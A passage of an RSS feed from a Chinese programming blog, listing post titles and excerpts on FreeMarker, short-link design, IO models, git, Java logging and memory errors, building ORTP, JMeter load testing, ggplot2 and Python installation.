      <title>模板引擎Freemarker基础知识</title>
      <link>https://bchobby.github.io/posts/65a3d7303c67f1253805dd6403d58bc8/</link>
      <pubDate>Thu, 23 Mar 2023 08:33:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65a3d7303c67f1253805dd6403d58bc8/</guid>
      <description>Freemarker是什么 FreeMarker是一款模板引擎： 即一种基于模板和要改变的数据， 并用来生成输出文本（HTML网页、电子邮件、配置文件、源代码等）的通用工具。 常用的java模板引擎还有 Jsp、Freemarker、Thymeleaf 、Velocity 等。&#xA;freemarker并不关心数据的来源，只是根据模板的内容，将数据模型在模板中显示并输出文件（通常为html，也可以生成其它格式的文本文件）&#xA;freemarker作为springmvc一种视图格式，默认情况下SpringMVC支持freemarker视图格式。&#xA;FreeMarker 基础指令 map即为freemarker静态化所需要的数据模型&#xA;List指令&#xA;1、注释，即：&amp;lt;#‐‐被注释的内容‐‐&amp;gt;&#xA;2、插值（Interpolation）：即 ${…} 部分,freemarker会用真实的值替换 ${…} 中的内容&#xA;3、FTL指令：和HTML标记类似，名字前加#予以区分，Freemarker会解析标签中的表达式或逻辑。例如：&amp;lt;#list stuMap?keys as k&amp;gt; ，就是获取stuMap中的所有的key作为一个list集合，然后取list集合中的一个key赋值给k.&#xA;4、文本，仅文本信息，这些不是freemarker的注释、插值、FTL指令的内容会被freemarker忽略解析，直接输出内容。&#xA;解释Demo:&#xA;&amp;lt;#list stus as stu&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;${stu_index + 1}&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;${stu.name}&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;${stu.age}&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;${stu.mondy}&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/#list&amp;gt; 其中：&#xA;_index：得到循环的下标，使用方法是在stu后边加&#34;_index&#34;，它的值是从0开始&#xA;遍历Map数据 姓名：${stuMap[&#39;stu1&#39;].name}&amp;lt;br/&amp;gt; 或者 姓名：${stuMap.stu1.name}&amp;lt;br/&amp;gt; 其中stuMap是一个map集合，stu1是map集合中的一个元素对象，name是stu1的一个属性，如果采用list集合去遍历的话，第二种方法就不适用了。&#xA;if指令 if 指令即判断指令，是常用的FTL指令，freemarker在解析时遇到if会进行判断，条件为真则输出if中间的内容，否则跳过内容不再输出。&#xA;例如： &amp;lt;td &amp;lt;#if stu.name ==&#39;小明&#39;&amp;gt;style=&#34;background:red;&#34;&amp;lt;/#if&amp;gt;&amp;gt;${stu.name}&amp;lt;/td&amp;gt; 意思就是如果stu的姓名是小明的话，就加背景色&#xA;其它指令 运算符&#xA;1、算数运算符 FreeMarker表达式中完全支持算术运算,FreeMarker支持的算术运算符包括:+, - , * , / , %&#xA;2、逻辑运算符 逻辑运算符有如下几个: 逻辑与:&amp;amp;&amp;amp; 逻辑或:|| 逻辑非:!</description>
    </item>
    <item>
      <title>短链接是怎么设计的？带你入门</title>
      <link>https://bchobby.github.io/posts/46f82124db32c193a9b18e8b15760808/</link>
      <pubDate>Thu, 23 Mar 2023 07:30:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46f82124db32c193a9b18e8b15760808/</guid>
      <description>文章目录 前言一、短链1、原理1.1 短链生成原理1.2 短链跳转原理： 2、设计：2.1 短链需求2.2 考虑的问题？ 二、实践案例1、设计表：2、生成短链： 前言 说到 URL 你肯定不陌生，浏览器输入一段 URL，立马就跳转到你想要的网站，不过你应该也遇到过一些带了很多参数、特别长的 URL，看起来就乱糟糟的，能不能把它变短一点？&#xA;首先你要知道的是，长链是没法压缩成短链的，那我们这里怎么设计短链？&#xA;答案是：映射。&#xA;将需要的长链生成对应的短链，你可以把这个映射关系放在缓存、也可以放在数据库。然后，每次访问短链的时候，都需查到这个对应关系，并重定向到真正长链接对应的网址。&#xA;短链设计本身很简单，不过现在的需求量非常大，这个量级上去了，简单的东西都会变得复杂，因此，本文从简入深探讨锻炼设计原理与方法。&#xA;一、短链 URL 短链，就是把原来较长的网址，转换成比较短的网址，比如这样：https://s.xxx.com/1WB5A3。那这样设计的好处？&#xA;首先，网址短、美观、便于发布、传播，可以写更多有意义的文字。&#xA;其次，省钱省成本：在短信中，如果含长网址的短信内容超过 70 字，就会被拆成两条发送，而用短链则可能一条短信就搞定，如果短信量大也可以省下不少钱。&#xA;再则，易识别：我们平常看到的二维码，本质上也是一串 URL ，如果是长链，对应的二维码会密密麻麻，扫码的时候机器很难识别，而短链则不存在这个问题。&#xA;另外，出于安全考虑，不想让有意图的人看到原始网址。&#xA;1、原理 1.1 短链生成原理 获取短链：&#xA;短链标志（flag）长度一般 5 - 7位，一般由数字、字母（可选择区分大小写）等字符组成。有几种常见的获取方式：&#xA;1）截取前缀：我们可以从众多 hash 算法中选择一种（比如 MD5），将 url 经过 hash 计算之后得到一串字符，然后截取前缀 5 - 7位即可。&#xA;案例如下：&#xA;public static String toHex(String url) { String hash = Md5.hash(url); return hash.substring(0, 6); } 2）除法取模：选择一种 hash 算法可以输出 32 位、64位 … 的整数 x，对字符集合大小取模，得到下标 id，记录下来，从指定的字符编码集合中找到对应字符，循环该操作直到 x 小于编码集大小。</description>
    </item>
    <item>
      <title>sheng的学习笔记-IO多路复用，NIO,BIO,AIO</title>
      <link>https://bchobby.github.io/posts/4f9b31c96f7f89a9332dae22c0b651ec/</link>
      <pubDate>Wed, 22 Mar 2023 22:13:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f9b31c96f7f89a9332dae22c0b651ec/</guid>
      <description>基础概念 IO分为几种：同步阻塞的BIO，同步非阻塞的NIO，异步非阻塞AIO，IO多路复用，信号驱动IO（不常用）&#xA;对于一个network IO，它会涉及到两个系统对象，一个是调用这个IO的process（Thread），另一个是系统内核。当一个read/recv读数据的操作发生时，该操作会经历两个阶段：&#xA;（1）等待数据准备&#xA;（2）将数据从内核拷贝到进程中&#xA;BIO：同步并阻塞 服务端处理请求是串联的。也就是说如果这个请求被阻塞了，那么剩下的请求都要被阻塞``等待``上一个请求处理完成才行。所以，我们上面说，在 服务器读数据的时候，数据还没到（数据还没读到用户态），那么服务器被阻塞，然后其他客户端的请求也不能被处理。&#xA;比如： 小明和小红两个人访问同一个服务，然后小明先点，但是数据没被处理完成，然后小红在进行发送请求，此时服务器就将小红的请求挂起，等待小明的处理完成在进行处理。 而且小明发了申请，服务器没有返回响应之前，小明也不能动，阻塞在那里等待到应答，才能继续做别的事情&#xA;.&#xA;NIO:同步非阻塞 用户线程发起IO请求后，立即返回；这时候可以干点别的，过一会再查，但需要不断地调用read，尝试读取socket中的数据，直到读取成功后，才继续处理接收的数据。&#xA;虽然用户线程每次发起IO请求后可以立即返回，但是为了等到数据，仍需要不断地轮询、重复请求，消耗了大量的CPU的资源。一般很少直接使用这种模型，而是在其他IO模型中使用非阻塞IO这一特性。&#xA;当用户进程发出read操作时，如果kernel中的数据还没准备好，那么它并不会block用户进程，而是立刻返回一个error。当用户进程接收到一个error，就会知道数据还没准备，于是用户就可以做点其他的，过一段时间，再次发送read操作，一旦kernel的数据准备好了，他就会立马把数据拷贝到了用户内存，然后返回。&#xA;在这种非阻塞IO模式下，用户进程就不断的询问kernel的数据准备好了没，若没有，返回给 用户一个error，在两次询问期间，用户进程可以干点其他的，若数据准备好了，就直接拷贝，这个询问过程叫轮询。在拷贝数据整个过程，进程任仍然处于阻塞状态&#xA;IO多路复用 一个线程内同时处理多个IO请求，这就是IO多路复用&#xA;相当于select\epoll，这种IO方式也称为事件驱动IO，select\epoll的好处在于单个process就可以同时处理多个网络连接的IO。它的基本原理就是select\epoll这个function会不断的轮询所负责的所有socket，当某个socket有数据响应了，就通知用户进程。&#xA;当用户进程调用了select，那么整个进程会被block，而同时，kernel会“监视”所有select负责的socket，当任何一个socket中的数据准备好了，select就会返回。这个时候用户进程再调用read操作，将数据从kernel拷贝到用户进程。&#xA;这个图和blocking IO的图其实并没有太大的不同，事实上还更差一些。因为它不仅阻塞了还多需要使用两个系统调用(select和recvfrom)，而blocking IO只调用了一个系统调用(recvfrom)，当只有一个连接请求的时候，这个模型还不如阻塞IO效率高。但是，用select的优势在于它可以同时处理多个connection，而阻塞IO那里不能，我不管阻塞不阻塞，你所有的连接包括recv等操作，我都帮你监听着（以什么形式监听的呢？先不要考虑，下面会讲的~~），其中任何一个有变动（有链接，有数据），我就告诉你用户，那么你就可以去调用这个数据了，这就是他的NB之处。&#xA;select模块及使用方法：select的优势在于处理多个连接，不适用于单个连接&#xA;虽然上述方式允许单线程内处理多个IO请求，但是每个IO请求的过程还是阻塞的（在select函数上阻塞），平均时间甚至比同步阻塞IO模型还要长。如果用户线程只注册自己感兴趣的socket或者IO请求，然后去做自己的事情，等到数据到来时再进行处理，则可以提高CPU的利用率。以下是改良版：&#xA;reactor设计模式，就是基于IO多路复用，可以参考&#xA;https://blog.csdn.net/coldstarry/article/details/129433822&#xA;AIO：异步IO 用户进程发起read操作之后，立刻就可以开始去做其它的事。而另一方面，从kernel的角度，当它受到一个asynchronous read之后，首先它会立刻返回，所以不会对用户进程产生任何block。然后，kernel操作系统会等待数据（阻塞）准备完成，然后将数据拷贝到用户内存，当这一切都完成之后，kernel会给用户进程发送一个signal，告诉它read操作完成了。&#xA;貌似异步IO这个模型很牛~~但是你发现没有，这不是我们自己代码控制的，都是操作系统完成的，而python在copy数据这个阶段没有提供操纵操作系统的接口，所以用python没法实现这套异步IO机制，其他几个IO模型都没有解决第二阶段的阻塞（用户态和内核态之间copy数据），但是C语言是可以实现的，因为大家都知道C语言是最接近底层的，虽然我们用python实现不了，但是python仍然有异步的模块和框架（tornado、twstied，高并发需求的时候用），这些模块和框架很多都是用底层的C语言实现的，它帮我们实现了异步，你只要使用就可以了，但是你要知道这个异步是不是很好呀，不需要你自己等待了，操作系统帮你做了所有的事情，你就直接收数据就行了，就像你有一张银行卡，银行定期给你打钱一样。&#xA;信号驱动IO 信号驱动IO: 内核将数据准备好的时候, 使用SIGIO信号通知应用程序进行IO操作&#xA;通知应用程序处理IO, 是开始处理IO, 这个时候还是存在阻塞的，将数据从内核态拷贝进入到用户态的过程至少是阻塞住的 (应用程序将数据从内核态拷贝到用户态的过程是阻塞等待的, 和异步IO的区别) (此处是区分信号驱动IO和异步IO的关键所在)&#xA;信号驱动IO, 我们提前在信号集合中设置好IO信号等待， 注册好对应的IO处理函数 handler，IO数据准备就绪后，会递交SIGIO信号，通知应用程序中断然后开始进行对应的IO处理逻辑. 但是通知处理IO的时候存在将数据从 内核空间拷贝到用户空间的过程，(而异步IO是数据拷贝完成之后内核再通知应用程序直接开始处理， 应用程序直接处理，不需要拷贝数据阻塞等待)&#xA;各IO对比 参考文章&#xA;https://blog.csdn.net/guorui_java/article/details/107081776&#xA;https://www.cnblogs.com/zhangxiaoji/p/16152141.html&#xA;https://zhuanlan.zhihu.com/p/555459665&#xA;https://www.cnblogs.com/12345huangchun/p/10066840.html&#xA;https://blog.csdn.net/leftfist/article/details/105020228</description>
    </item>
    <item>
      <title>git将文件或目录添加进了.gitignore文件，为什么不生效？</title>
      <link>https://bchobby.github.io/posts/51a47bc43709994ad5eb63660d45736b/</link>
      <pubDate>Wed, 22 Mar 2023 21:52:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51a47bc43709994ad5eb63660d45736b/</guid>
      <description>如题，之所以将文件添加进了.gitignore文件但不生效，是因为该文件已经被add进git仓库了，已经被git托管了，这时git就没法ignore了。解决办法是先用git rm --cached将这些文件从git仓库中取消托管并提交，然后.gitignore文件才会生效。详细见如下描述。&#xA;已经添加到git仓库中的文件，如果在.gitignore中加入忽略，是不会生效的，因为他们已经添加到git仓库中了。&#xA;要先git rm --cached在git仓库中删除这些文件，然后再用git commit 提交这个删除操作。然后，.gitignore中对这些文件的忽略才会生效。&#xA;注意：git rm --cached只是让git不再托管这些文件，一定要加上--cached选项，如果不加，git不仅删除此文件的托管关系，还会从硬盘上删除此文件，可怕~~&#xA;例：&#xA;mokar@ubuntu:~/temp/555$ tree . ├── aa │ └── aa.c └── bb └── bb.c 此例中，aa bb文件夹下两个文件都已经git add了：&#xA;mokar@ubuntu:~/temp/555$ git status On branch master nothing to commit, working directory clean 此时编写.gitignore文件，将bb文件夹下的文件忽略掉，不会生效：&#xA;mokar@ubuntu:~/temp/555$ cat .gitignore bb/ 将ignore文件提交。&#xA;此时改动bb.c看看：&#xA;mokar@ubuntu:~/temp/555$ git status On branch master Changes not staged for commit: (use &#34;git add &amp;lt;file&amp;gt;...&#34; to update what will be committed) (use &#34;</description>
    </item>
    <item>
      <title>AD10: 操作环境中英文切换</title>
      <link>https://bchobby.github.io/posts/c8eee2968c285b502faef979dd3ef6b8/</link>
      <pubDate>Wed, 22 Mar 2023 20:16:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8eee2968c285b502faef979dd3ef6b8/</guid>
      <description>AD10: 操作环境中英文切换 DXP --&amp;gt; Preference&#xA;完成上面的步骤后，重启软件，就又英文切换为中文了。</description>
    </item>
    <item>
      <title>Java优化(三) 日志打印</title>
      <link>https://bchobby.github.io/posts/ddecac38b9d4623cc2d9c55ff61b0c49/</link>
      <pubDate>Wed, 22 Mar 2023 19:59:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddecac38b9d4623cc2d9c55ff61b0c49/</guid>
      <description>目录 1、选择恰当的日志级别2、日志要打印出方法的入参、出参3、选择合适的日志格式4、遇到if...else...等条件时，每个分支首行都尽量打印日志5、日志级别比较低时，进行日志开关判断6、不能直接使用日志系统（Log4j、Logback）中的 API，而是使用日志框架SLF4J中的API7、建议使用参数占位{}，而不是用+拼接8、建议使用异步的方式来输出日志9、不要使用e.printStackTrace()10、异常日志不要只打一半，要输出全部错误信息11、禁止在线上环境开启 debug12、不要记录异常，又抛出异常13、避免重复打印日志14、日志文件分离15、核心功能模块，建议打印较完整的日志16、 springboot整合logback进行日志管理 1、选择恰当的日志级别 常见的日志级别有5种，分别是error、warn、info、debug、trace。日常开发中，我们需要选择恰当的日志级别&#xA;序号日志级别描述1error错误日志，指比较严重的错误，对正常业务有影响，需要运维配置监控的2warn警告日志，一般的错误，对业务影响不大，但是需要开发关注3info信息日志，记录排查问题的关键信息，如调用时间、出参入参等等4debug用于开发DEBUG的，关键逻辑里面的运行时数据5trace最详细的信息，一般这些信息只记录到日志文件中 trace&amp;lt;debug&amp;lt;info&amp;lt;warn&amp;lt;error&#xA;级别排序，从左到右，级别越来越高&#xA;只有当日志级别大于你设置的日志级别才会输出。设置日志的级别是INFO那么比INFO级别高的日志级别会输出到日志文件或者控制台，比INFO级别低的不会输出 2、日志要打印出方法的入参、出参 我们并不需要打印很多很多日志，只需要打印可以快速定位问题的有效日志。&#xA;public String testLogMethod(Document doc, Mode mode){ log.debug(“method enter param：{}”,userId); String id = &#34;dmjxsy&#34;; log.debug(“method exit param：{}”,id); return id; } 3、选择合适的日志格式 理想的日志格式，应当包括这些最基本的信息：如当前时间戳（一般毫秒精确度）、日志级别，线程名字等等。在logback日志里可以这么配置：&#xA;&amp;lt;appender name=&#34;STDOUT&#34; class=&#34;ch.qos.logback.core.ConsoleAppender&#34;&amp;gt; &amp;lt;encoder&amp;gt; &amp;lt;pattern&amp;gt;%d{HH:mm:ss.SSS} %-5level [%thread][%logger{0}] %m%n&amp;lt;/pattern&amp;gt; &amp;lt;/encoder&amp;gt; &amp;lt;/appender&amp;gt; 4、遇到if…else…等条件时，每个分支首行都尽量打印日志 当碰到if…else…或者switch这样的条件时，可以在分支的首行就打印日志，这样排查问题时，就可以通过日志，确定进入了哪个分支，代码逻辑更清晰，也更方便排查问题了。&#xA;if(user.isVip()){ log.info(&#34;该用户是会员,Id:{},开始处理会员逻辑&#34;,user,getUserId()); //会员逻辑 }else{ log.info(&#34;该用户是非会员,Id:{},开始处理非会员逻辑&#34;,user,getUserId()) //非会员逻辑 } 5、日志级别比较低时，进行日志开关判断 对于trace/debug这些比较低的日志级别，必须进行日志级别的开关判断。&#xA;正例 Persion persion= new Persion (12345L, &#34;18&#34;, &#34;男&#34;); if (log.isDebugEnabled()) { log.debug(&#34;userId is: {}&#34;, persion.</description>
    </item>
    <item>
      <title>编译ORTP库遇到的问题</title>
      <link>https://bchobby.github.io/posts/b33a084531105e18bbd0bb542fdf05c8/</link>
      <pubDate>Wed, 22 Mar 2023 17:56:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b33a084531105e18bbd0bb542fdf05c8/</guid>
      <description>转自：【HD-G2UL-EVM开发板体验】基于RTP协议的实时流传输实现 - 单片机/MCU论坛 - 电子技术论坛 - 广受欢迎的专业电子论坛! (elecfans.com)&#xA;前言 RTP（Real-timeTransportProtocol）是用于Internet上针对多媒体数据流的一种传输协议，做流媒体传输方面的应用离不开RTP协议的实现及使用。可在项目中应用RTP协议实现流媒体(音视频)的传输，比如我们的游戏机项目实现就可以通过RTP推流音视频到PC，通过PC显示和播放音频，这样就不需要使用开发板的LCD和音频模块，刚好开发板也没有附带LCD，所以我们就这么干了。RTP实现有一些开源库可以选择，这里选择ORTP库，这个库是纯使用c语言编写，移植比较简单。 开发环境搭建&#xA;交叉编译&#xA;WSL中 sudo apt install make git clone https://github.com/dmonakhov/ortp.git cd ortp/ ./autogen.sh 报如下错误 lhj@lhj:~/ortp$ ./autogen.sh&#xA;+ rm -rf config.cache autom4te.cache&#xA;+ libtoolize --copy --force&#xA;./autogen.sh: 36: ./autogen.sh: libtoolize: not found&#xA;+ aclocal&#xA;./autogen.sh: 37: ./autogen.sh: aclocal: not found&#xA;+ autoheader&#xA;./autogen.sh: 38: ./autogen.sh: autoheader: not found&#xA;+ automake --force-missing --add-missing --copy&#xA;./autogen.sh: 39: ./autogen.sh: automake: not found&#xA;+ autoconf</description>
    </item>
    <item>
      <title>Jmeter 压力测试步骤详解</title>
      <link>https://bchobby.github.io/posts/62707368a6c00fc1114e7eb6badd39c5/</link>
      <pubDate>Wed, 22 Mar 2023 17:36:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62707368a6c00fc1114e7eb6badd39c5/</guid>
      <description>目录&#xA;1、准备工作：安装 Jmeter&#xA;2、开始压力测试&#xA;（1）首先需要创建线程组&#xA;（2）创建 HTTP 请求&#xA;（3）添加察看结果树&#xA;（4）添加聚合报告&#xA;3、完整的测试步骤图示&#xA;Jmeter 压力测试官方文档：Apache JMeter - Apache JMeter Distributed Testing Step-by-step&#xA;什么是压力测试？&#xA;压力测试就是被测试的系统，在一定的访问压力下，看程序运行是否稳定/服务器运行是否稳定（资源占用情况）。&#xA;例如： 模拟2000个用户同时到一个购物网站购物，测试这些用户打开页面的速度是否会变慢，或者网站是否会奔溃。&#xA;1、准备工作：安装 Jmeter 安装 Jmeter 之前需要先安装好 JDK 环境。// Jmeter 是 Java 工具下载 Jmeter 安装包（压缩包，windows 环境为 zip 格式）：Apache JMeter - Apache JMeter™解压安装包，进入 bin 目录，点击 jmeter.bat 启动 Jmeter。 2、开始压力测试 （1）首先需要创建线程组 点击 jmeter.bat 启动 Jmeter 后会弹出可视化窗口，按如图步骤，使用 Jmeter 创建线程组：&#xA;创建完创建线程组后，界面如下：&#xA;线程组参数详解：&#xA;线程数：虚拟用户数。一个虚拟用户占用一个进程或线程。设置多少虚拟用户数在这里也就是设置多少个线程数。 Ramp-Up Period（in seconds）准备时长：设置的虚拟用户数需要多长时间全部启动。如果线程数为10，准备时长为 2，那么需要 2 秒钟启动 10 个线程，也就是每秒钟启动 5 个线程。 循环次数：每个线程发送请求的次数。如果线程数为 10，循环次数为 100，那么每个线程发送 100 次请求。总请求数为 10*100=1000 。如果勾选了“永远”，那么所有线程会一直发送请求，一到选择停止运行脚本。 Delay Thread creation until needed：直到需要时延迟线程的创建。 调度器配置：设置线程组启动的开始时间和结束时间（配置调度器时，需要勾选循环次数为永远） 调度器配置参数：</description>
    </item>
    <item>
      <title>内存溢出、内存泄露的概述及常见情形</title>
      <link>https://bchobby.github.io/posts/97d14f95c44821facd22cb2cf6f76ed7/</link>
      <pubDate>Wed, 22 Mar 2023 17:32:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97d14f95c44821facd22cb2cf6f76ed7/</guid>
      <description>内存溢出（OutofMemoryError） 简述 java doc 中对 Out Of Memory Error 的解释是，没有空闲内存，并且垃圾收集器也无法提供更多内存。&#xA;JVM 提供的内存管理机制和自动垃圾回收极大的解放了用户对于内存的管理，由于 GC（垃圾回收）一直在发展，所有一般情况下，除非应用程序占用的内存增长速度非常快，造成垃圾回收已经跟不上内存消耗的速度，否则不太容易出现内存泄漏和内存溢出问题。但是基本不会出现并不等于不会出现，所以掌握 Java 内存模型原理和学会分析出现的内存溢出或内存泄漏仍然十分重要。&#xA;大多数情况下，GC 会进行各种年龄段的垃圾回收，实在不行了就放大招，来一次独占式的 Full GC 操作，这时候会回收大量的内存，供应用程序继续使用。&#xA;在抛出 OutofMemoryError 之前，通常垃圾收集器会被触发，尽其所能去清理出空间。例如：在引用机制分析中，涉及到 JVM 会去尝试回收软引用指向的对象等。在 java.nio.BIts.reserveMemory() 方法中，System.gc() 会被调用，以清理空间。&#xA;当然，也不是在任何情况下垃圾收集器都会被触发的。比如，分配了一个超大对象，类似一个超大数组超过堆的最大值，JVM 可以判断出垃圾收集并不能解决这个问题，所以直接抛出 OutofMemoryError。&#xA;内存溢出的常见情形 不同的内存溢出错误可能会发生在内存模型的不同区域，因此，需要根据出现错误的代码具体分析来找出可能导致错误发生的地方，并想办法进行解决。&#xA;栈内存溢出（StackOverflowError）&#xA;栈内存可以分为虚拟机栈（VM Stack）和本地方法栈（Native Method Stack），除了它们分别用于执行 Java 方法（字节码）和本地方法，其余部分原理是类似的。&#xA;以虚拟机栈为例说明，Java 虚拟机栈是线程私有的，当线程中方法被调度时，虚拟机会创建用于保存局部变量表、操作数栈、动态连接和方法出口等信息的栈帧（Stack Frame）。&#xA;具体来说，当线程执行某个方法时，JVM 会创建栈帧并压栈，此时刚压栈的栈帧就成为了当前栈帧。如果该方法进行递归调用时，JVM 每次都会将保存了当前方法数据的栈帧压栈，每次栈帧中的数据都是对当前方法数据的一份拷贝。如果递归的次数足够多，多到栈中栈帧所使用的内存超出了栈内存的最大容量，此时 JVM 就会抛出 StackOverflowError。&#xA;总之，不论是因为栈帧太大还是栈内存太小，当新的栈帧内存无法被分配时，JVM 就会抛出 StackOverFlowError。&#xA;优化方案：&#xA;可以通过设置 JVM 启动参数 -Xss 参数来改变栈内存大小。&#xA;注：分配给栈的内存并不是越大越好，因为栈内存越大，线程多，留给堆的空间就不多了，容易抛出OOM。JVM的默认参数一般情况没有问题（包括递归）。&#xA;递归调用要控制好递归的层级，不要太高，超过栈的深度。&#xA;递归调用要防止形成死循环，否则就会出现栈内存溢出。&#xA;堆内存溢出（OutOfMemoryError：java heap space）&#xA;堆内存的唯一作用就是存放数组和对象实例，即通过 new 指令创建的对象，包括数组和引用类型。&#xA;堆内存溢出又分为两种情况：&#xA;Java 虚拟机的堆内存设置不够</description>
    </item>
    <item>
      <title>ggplot2绘制柱状图_分组柱状图步骤</title>
      <link>https://bchobby.github.io/posts/a00e38213e5661252c3ab509f4847fa9/</link>
      <pubDate>Wed, 22 Mar 2023 15:58:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a00e38213e5661252c3ab509f4847fa9/</guid>
      <description>#柱状图调节柱形宽度、柱形间距&#xA;#先准备三列，group_number为分组，name是x因变量，value是y轴自变量&#xA;#此代码中，图例为透明背景，且图例图案距离编名0.5cm（均可修改），&#xA;theme(legend.title=element_text(size = 20,face = &#34;bold&#34;,margin = margin(r=20)), legend.text=element_text(size = 20,face = &#34;bold&#34;,margin = margin(r=20)), #legend.position=c(0.28, 0.78), #图例在绘图区域的位置 #legend.position=&#39;top&#39;,#图例放在顶部 legend.spacing.x = unit(0.5, &#39;cm&#39;), #柱状图无背景图#柱状图边框为黑色加粗&#xA;theme(panel.grid.major=element_line(colour=NA), panel.background = element_rect(fill = &#34;transparent&#34;,colour = NA), plot.background = element_rect(fill = &#34;transparent&#34;,colour = NA), panel.grid.minor = element_blank())+ #柱状图分组绘制&#xA;#柱状图调节柱形宽度、柱形间距&#xA;geom_bar(stat = &#34;identity&#34;, position=position_dodge(0.9), width = 0.8, colour = &#34;black&#34;, size=1.2)+#边框颜色为黑色 #柱状图上添加具体值，并调节值显示位置&#xA;geom_text(aes(y=value+0.5,label=value),#将weight赋值给每一列 #vjust=1.2,#位置参数 position = position_dodge(0.8), colour=&#34;black&#34;, size=10)+##颜色字体大小 #柱状图消除图形与x轴间空隙，且保留y轴空隙&#xA;scale_y_continuous(limits =c(0, 18) ,expand = c(0,0))+#消除与x轴的间隙 #选择自己喜欢的柱状颜色</description>
    </item>
    <item>
      <title>公式排版-制表位</title>
      <link>https://bchobby.github.io/posts/b31f0556832b767c68d1fb99a8998732/</link>
      <pubDate>Wed, 22 Mar 2023 15:28:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b31f0556832b767c68d1fb99a8998732/</guid>
      <description>1.在 布局-栏-更多栏 里根据自己文档的格式查看每栏的宽度&#xA;2.如要设置公式居中，编号右对齐，计算制表位公式为：&#xA;居中：栏宽度÷2&#xA;右对齐：栏宽度&#xA;如我这篇文档用的是两栏，栏宽度为24.86，则居中的制表位值为12.43，右对齐的制表位值为24.86&#xA;3.制位符的设置可以&#xA;①右键要排版的段落-段落-制表位，设置制表位的值大小，起到的功能（居中/左对齐/右对齐）&#xA;②在 样式-创建新样式-格式-制表位，为公式单独制作一个格式（制表位设置方法同上）</description>
    </item>
    <item>
      <title>【保姆级】python最新版3.11.1开发环境搭建，看这一篇就够了</title>
      <link>https://bchobby.github.io/posts/63f9f02962e51616e1dee0b9be1c1a9e/</link>
      <pubDate>Wed, 22 Mar 2023 15:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63f9f02962e51616e1dee0b9be1c1a9e/</guid>
      <description>【保姆级】Python最新版开发环境搭建，看这一篇就够了（适用于Python3.11.2安装） 文章目录 【保姆级】Python最新版开发环境搭建，看这一篇就够了（适用于Python3.11.2安装）一、Python解释器安装Windows安装步骤环境变量配置（非必要）MacOS安装步骤Linux安装步骤 二、PyCharm安装三、创建Python工程 工欲善其事必先利其器，在使用Python开发程序之前，在计算机上搭建Python开发环境是必不可少的环节，目前Python最新稳定版本是3.11.1，且支持到2027年，如下图所示 本文手把手带你从0 到1搭建Python最新版3.11.1开发环境，堪称保姆级教程，快快收藏啦~&#xA;一、Python解释器安装 我们可以直接去Python官网下载相应操作系统的安装包：https://www.python.org/&#xA;由于我本地是win11环境，直接识别下载了windows的安装包，需要注意3.11.1要求windows必须是win7以上才行，推荐大家使用win10或win11！&#xA;Windows安装步骤 1、windows版的Python安装包是exe文件，只需要无脑点击即可，这里记得选中“Add python.exe to Path”，可以避免人工再去配置环境变量&#xA;2、这里为了方便，我们直接选择“Install Now”，默认会把必备的都装上&#xA;3、安静等待安装~&#xA;4、然后如果弹出下面这个框，点击“Disable path length limit”的按钮，然后点击close关闭。“Disable path length limit”是指，禁用系统的Path长度自动限制，能给我们避免很多的麻烦。禁用路径长度限制更改计算机配置，以允许包括Python在内的程序绕过260个字符的“最大路径”限制。这是说明你电脑对Python的一些限制，点击它然后确定权限就可以了&#xA;5、Win + R 快速打开cmd，输入python --version可以验证是否正确安装&#xA;环境变量配置（非必要） 1、如果忘了选中“Add python.exe to Path”，可能这里无法正确执行python命令，需要手动添加环境变量&#xA;2、右键我的电脑，点击属性，弹出如下界面&#xA;3、点击高级系统设置，出现下图，选择环境变量&#xA;4、找到系统变量里面的Path，编辑它，将python解释器所在路径粘贴到最后面，再加个分号，至此环境变量配置完成，再打开命令行输入python即可看到正确的显示。&#xA;MacOS安装步骤 macOS的安装步骤与Windows类似，其Python安装包是pkg文件，下载下来一直点双击即可完成安装。&#xA;macOS默认已经带了Python开发环境，一般是Python2.7版本，因为这个版本是Python2应用最广泛的版本，有点像JDK8。&#xA;Python支持多版本共存，所以我们可以不用管原始版本，记得添加PATH环境变量哟~&#xA;Linux安装步骤 Linux版的Python安装程序与上述2种操作系统安装步骤有些差异，由于Linux发行版特别多，所以官网上Linux的Python是以源码形式发布的，需要我们使用GCC编译和安装&#xA;1、安装依赖包、下载Python3.11.1&#xA;# 安装python依赖 yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel db4-devel libpcap-devel xz-devel gcc make # 下载安装包 wget https://www.python.org/ftp/python/3.11.1/Python-3.11.1.tgz 2、编译源码&#xA;# 解压 tar -zxf Python-3.</description>
    </item>
    <item>
      <title>Zotero入门——安装插件</title>
      <link>https://bchobby.github.io/posts/f8db60c21dcb89196b66db1b2ec3fddd/</link>
      <pubDate>Wed, 22 Mar 2023 15:19:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8db60c21dcb89196b66db1b2ec3fddd/</guid>
